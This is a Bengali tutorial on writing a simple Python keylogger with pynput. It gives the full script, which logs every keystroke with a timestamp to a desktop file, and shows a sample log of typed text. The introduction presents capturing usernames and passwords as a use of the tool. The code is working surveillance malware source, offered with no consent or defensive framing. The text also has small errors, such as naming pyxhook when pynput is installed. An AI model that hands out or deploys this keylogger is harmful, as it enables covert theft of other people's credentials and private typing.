এখানে আমরা পাইথন ব্যবহার করে একটি কিলগার (keylogger) ডেভেলপ করব। কিন্তু তার আগে, কিলগার কী? কিলগার হলো একটি প্রোগ্রাম যার মাধ্যমে আমরা কীস্ট্রোক (keystrokes) মনিটর করি। এই কীস্ট্রোকগুলো একটি লগ ফাইলে সংরক্ষিত হয়। এই কীস্ট্রোক ব্যবহার করে আমরা ইউজারনেম এবং পাসওয়ার্ডের মতো সংবেদনশীল ইনফরমেশন রেকর্ড করতে পারি।
কিলগার তৈরি করতে আমরা pynput মডিউল ব্যবহার করব। যেহেতু এটি পাইথনের স্ট্যান্ডার্ড লাইব্রেরি নয়, তাই ইনস্টল করতে হতে পারে।
pyxhook মডিউল ইনস্টল করা - আমি pip ব্যবহার করে pynput ইনস্টল করব:
pip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
ইনস্টলেশন সফল হয়েছে কিনা চেক করতে আপনার পাইথন শেলে মডিউলটি ইম্পোর্ট করার চেষ্টা করুন:
>>> import pynput >>>
কিলগার বিল্ড শুরু করা
প্রয়োজনীয় লাইব্রেরি ইনস্টল হলে, প্রয়োজনীয় প্যাকেজ ও মেথড ইম্পোর্ট করুন। কীবোর্ড মনিটর করতে আমরা pynput.keyboard মডিউলের Key এবং Listener মেথড ব্যবহার করব। আমরা লগিং মডিউলও ব্যবহার করব কীস্ট্রোক লগ ফাইলে সংরক্ষণ করার জন্য।
from pynput.keyboard import Key, Listener import logging
এরপর, আমরা वो পথ সেট করব যেখানে আমরা লগ ফাইলগুলো স্টোর করব, লগগুলো কোন মোডে স্টোর হবে এবং ফরম্যাট।
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
তারপর আমরা on_press() ফাংশন কল করব যা কীপ্রেসের ডেফিনিশন তৈরি করে এবং কীকে প্যারামিটার হিসেবে নেয়।
def on_press(key):
logging.info(str(key))
শেষে, আমরা Listener-এর একটি ইনস্ট্যান্স সেট আপ করব এবং সেটাতে on_press মেথড ডিফাইন করব এবং তারপর ইনস্ট্যান্সটি মেইন থ্রেডের সাথে জয়েন করব।
with Listener(on_press=on_press) as listener:
listener.join()
উপরে উল্লেখিত স্টেপগুলো কম্বাইন করে আমরা আমাদের চূড়ান্ত প্রোগ্রাম তৈরি করতে পারি:
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
যখন আমার স্ক্রিপ্ট চলছিল, আমি একটি ব্রাউজার খুলে "hello world, Wikipedia" টাইপ করার চেষ্টা করলাম। দেখি আমাদের লগ ফাইলে কী হয়েছে -
আমি দেখতে পাচ্ছি, আমার কম্পিউটার ডেস্কটপে একটি "keyLog.txt" ফাইল তৈরি হয়েছে এবং এর কন্টেন্ট দেখলে পাওয়া যায় -
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
সুতরাং আমরা দেখতে পাচ্ছি যে আমি ব্রাউজারে যা টাইপ করার চেষ্টা করলাম, প্রতিটি কীস্ট্রোক এই ফাইলে সংরক্ষিত হয়েছে। এইভাবে আমরা পাইথনে একটি খুব সিম্পল কিলগার তৈরি করেছি।